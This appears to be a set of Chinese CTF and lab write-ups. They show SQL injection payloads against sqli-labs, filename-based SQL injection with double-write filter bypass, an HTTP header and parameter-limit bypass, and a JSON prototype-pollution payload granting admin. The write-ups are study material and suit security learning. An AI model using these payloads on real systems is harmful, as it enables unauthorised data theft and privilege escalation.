```
1 http://127.0.0.1/sqli-labs-master/less-1?
   id=-1'union+select+1,2,3--+
```

```
http://127.0.0.1/sqli-labs-master/less-1?
id=-1'union+select+1,2,user()--+
```

```
http://127.0.0.1/sqli-labs-master/less-1?
id=-1'union+select+1,2,database()--+
```

```
http://127.0.0.1/sqli-labs-master/less-1?id=-1'union+select+1,2,
(select group_concat(table_name) from information_schema.tables
where table_schema='security')--+
```

2 //爆出表

2.

```
http://127.0.0.1/sqli-labs-master/less-1/?id=%27and+
(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
```

```
http://127.0.0.1/sqli-labs-master/less-1/?id=%27and+
(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
```

```
1 select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1);
2 select updatexml(1,concat(0x7e,(SELECT database()),0x7e),1);
3 select extractvalue(1,concat(0x7e,(mid((select
  user()),10,32)),0x7e));
```

3.

```
1 http://127.0.0.1/sqli-labs-master/less-8/?
id=1'+and+if(length(user())=14,1,0)=1--+
```

下一步爆破字符:

```
1 GET /sqli-labs-master/less-8/?
id=1'+and+if(substr(user(),§1§,1)='§a§',1,0)=1--+
```

4.

```
1 GET /sqli-labs-master/less-9/?
id=1'+and+if(length(user())=§14§,sleep(3),0)--+
```

刷题upload

用户zw的WP

zw 发布于2019-08-13 浏览量756 ① 举报

from XCTF WEB upload (RCTF2015)

打开题目链接,注册账号,进入上传页面,先上传一个图片试一试:

发现会在upload页面返回我们一个uid,我的是1660,然后马上跳转到了memberpag e.php,并且显示我们上传的文件名,所以思考一下,可能他直接将我们上传的文件 存入了数据库,并且显示了文件名,我们能不能构造文件名,让他显示出我们想要的信息呢?

看了一下大佬的wp, 思路果然如此, 但是具体的构造语句, 还是参考了大佬的

思路:

推测后台的insert插入语句为:

insert into 表名('filename',...) values('你上传的文件名',...);

构造以下语句进行注入:

文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg

拼接后的sql语句为:

```
...values('文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jp
g',...);
```

CONV(n,from_radix,to_radix): 用于将n从from_radix进制转到to_radix进制

substr(str,start,length): 将str从start长度为length分割

hex(str):将str转成十六进制

一点疑问&细节:

- 1. select、from被过滤,用双写绕过
- 2. 为什么不直接采用 sselectelect database() 进行注入:

部分注入回显:

- '+(selselectect dAtabase())+'.jpg => 0
- '+(selecselectt substr(dAtabase(),1,12))+'.jpg => 0
- '+(selecselectt substr(hex(dAtabase()),1,12))+'.jpg => 7765625

第三句代码应该回显'7765625f7570',遇到'f'导致截断,所以需要conv转成十进制输出

3. substr中的长度限制:不限制长度会导致返回值太大,系统使用科学计数法 (xx e x xxxx)表示。

题目限制条件

1. 回显不能出现字母 —》 转成十进制

14 # 得到字段名: i_am_flag

15

- 2. 要使注入后的语句正确闭合 —》猜测语句结构,正确闭合
- 3. 防止回显数据过大使得程序返回科学计数型的结果 —》 限制回显长度

```
1 步骤
2 上传利用语句注入的文件名在上传文件中进行注入,对substr的截取位置由读者自行调整
   直至获得完整名称
3
4 1. 库名
5 file_name' +(selselectect
   conv(substr(hex(database()),1,12),16,10)) + '.jpg
6 # 得到库名: web_upload
8 2. 表名
9 file_name'+(seleselectct+conv(substr(hex((selselectect
   table_name frfromom information_schema.tables where table_schema
   = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
10 # 得到表名: hello_flag_is_here
11
12 3. 字段
13 file_name'+(seleselectct+conv(substr(hex((selselectect
```

COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME

= 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg

```
16 4. 获得数据
17 file_name'+(seleselectct+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
18 # 得到flag: !!_@m_Th.e_F!lag
```

ez_url

```
关于 why404 wp的一点补充
openapi 发布于2023-06-03 浏览量1349 ① 举报
在 app.js 中, 有如下判断:
  req.headers.admin.includes('true')
也就是说,在nodejs的逻辑判断中,只要 admin 的值包含 true 即可。
下面的值都成立:
  'true'
  ' true '
  ' xtrue '
现在问题回到在 php 中,如何构建请求,使 admin 等于期中的某个值(当然也不限
于上面三个)。
php代码中,发起http请求时,使用到了 curl_setopt($ch, CURLOPT_HTTPHEADER, $h
eaders); .
如果 $headers 的值等于 ["admin: true", "test: true"]; , 那么, 生成HTTP 请求
HEADER 就会包含下面字段:
  admin: true
  test: true
```

该 HEADER 将会在 nodejs 进行解析。此时,nodejs中关于 req.headers.admin.incl udes('true') 的判断就会成立。

然而, \$headers 在上面的代码中已被过滤,如果直接传入类似的数据:

```
{"headers": ["admin:true"]}

(代码就会进入 die('try hard');

$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
```

此时,需要想方设法绕过上面的判断。 如果我们构造下面的数据,就可以绕过判断:

```
{"headers": ["admin: x", " true: y"]}
```

但是,这样可行吗?答案是:可行的。

注意 true 前面的空格。

此时, curl 生成的HTTP HEADER 包含下面数据(依旧要注意空格):

```
admin: x
true: y
```

该 HEADER 在nodejs 解析时,会得到如下数据:

```
{
    "admin": "x true y"
}
```

RFC 7230 (HTTP/1.1 协议的定义) 规定了 field-name 是由一个或多个打印的 ASCII 字符组成,不包括分隔符,包括空格。因此,如果一个 field-name 的第一个字符是空格,那么这个 HTTP header 是非法的,应该被服务器或客户端忽略或拒绝。然而,Node.js 在处理这类情况时通常是宽容的,结果如上。
利用这个特性,我们就成功绕过了php中的过滤逻辑。

2

json_decode d 函数接受一个JSON格式的字符串并且把它转换为PHP变量。此处我们的输入内容借由 file_get_contents('php://input') 传入程序,查了一篇文章 d,里面说"当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,\$_POST数据与php://input数据是一致的"。看了一眼抓的包,是application/x-www-form-urlencoded,那这里就是读取post数据而已。根据for循环的逻辑,我们要在post里传headers,内容是一个数组,由:分割,肯定要带上admin和true。接着看curl部分。这里完全是curl最基本的使用 d,http_build_query d使用给出的关联(或下标)数组生成一个经过 URL-encode 的请求字符串。但是程序给我们拼接了一个 & admin=false ,说明我们要绕过这个设置,admin是什么都不能是false。然后我有点迷茫,先上exp,最后再分析我迷茫的点。用bp给这个页面发个post,post的内容用脚本生成,抄过去就得了。

```
1 {"headers":["admin: t",
2 " true: t"
3 ],"params":{"admin":"t",
4 "2":"1",
5 "3":"1",
6 "4":"1",
7 ...此处省略
8 "999":"1",
9 "1000":"1"
10 }
11 }
```

两个技巧分别是:

- 1. express的parameterLimit默认为1000
- 2. 根据rfc, header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行

第一点来自源代码的这一行

。结合这篇文章

的分析,当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个"admin":"t"设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。

至于headers,注意到"true:t"里面有个空格了吗?SP指的是空格,HT指的是制表符,根据资料

(这篇文章

也有提到)中的一句话:

• Header fields can be extended over multiple lines by preceding each extra line with at least one SP or HT.

不过我确实没看出扩展为多行为什么就能绕过过滤。headers不传也能绕过过滤的,而且这个文件里也没告诉我们为啥非要传这样的header,传值不是t也行,任何字母都行。为啥啊,难道就是猜吗?望有大佬告知

wife wife

1. 题目提示本题不需要暴力破解,所以尝试注册,发现is admin可以勾选,那么怀疑点其实就应该放在这里,通常逻辑都是要靠管理员权限才能拿到flag

先尝试没勾选情况下直接注册,然后登录,就拿到了flag,尝试flag发现无效尝试注册管理员账户提示邀请码错误,无法注册成功。

1. 造成这个漏洞的有一个很重要的前提,这题目的后端是node.js来写的,也就是说后端不是php服务器,不是java服务器,而是JavaScript服务器

因为是JavaScript语言来处理后端+用JavaScript的那个函数来处理,所以才有这个漏洞产生

prototype 是 newClass 类的一个属性

newClass 类实例化的对象 newObj 不能访问 prototype,但可以通过.**proto** 来访问 newClass 类的 prototype

newClass 实例化的对象 newObj 的 .**proto** 指向 newClass 类的 prototype js中实例化的对象的 .**proto** 指向类的 prototype,那么修改了实例化的对象的 .**proto** 的内容,类的 prototype 的内容也会发生改变,这就是原型链污染的利用方法。

利用:

如果是在代码中正常生成的对象,没有污染

```
1 let o1 = {}
2 let o2 = {a: 1, "__proto__": {b: 2}}
3 merge(o1, o2)
4 console.log(o1.a, o1.b)
5 //1 2
6
7 o3 = {}
8 console.log(o3.b)
9 //undefined
```

但如果后端服务器是JavaScript,我们通过post发送过去的 json是字符串,JavaScript需要通过JSON.parse()函数才能把 json字符串转成对象,此时便存在污染风险。JSON 解析的情况下,**proto** 会被认为是一个真正的"键名",而不代表"原型",所以在遍历 o2 的时候会存在这个键。

1. 掌握这一点之后我们可以尝试对注册报文进行修改,尝试使用普通用户的注册接口来注册管理员账户。

可以看到注册用户是使用isAdmin参数来确认是否是管理员账户,所以使用burp对注册报文进行修改如下:

注册成功后登录系统即可拿到flag

4.题目源代码参考

```
1 {"username":"e","password":"e","__proto__":{"isAdmin":true}}
```

2 //payload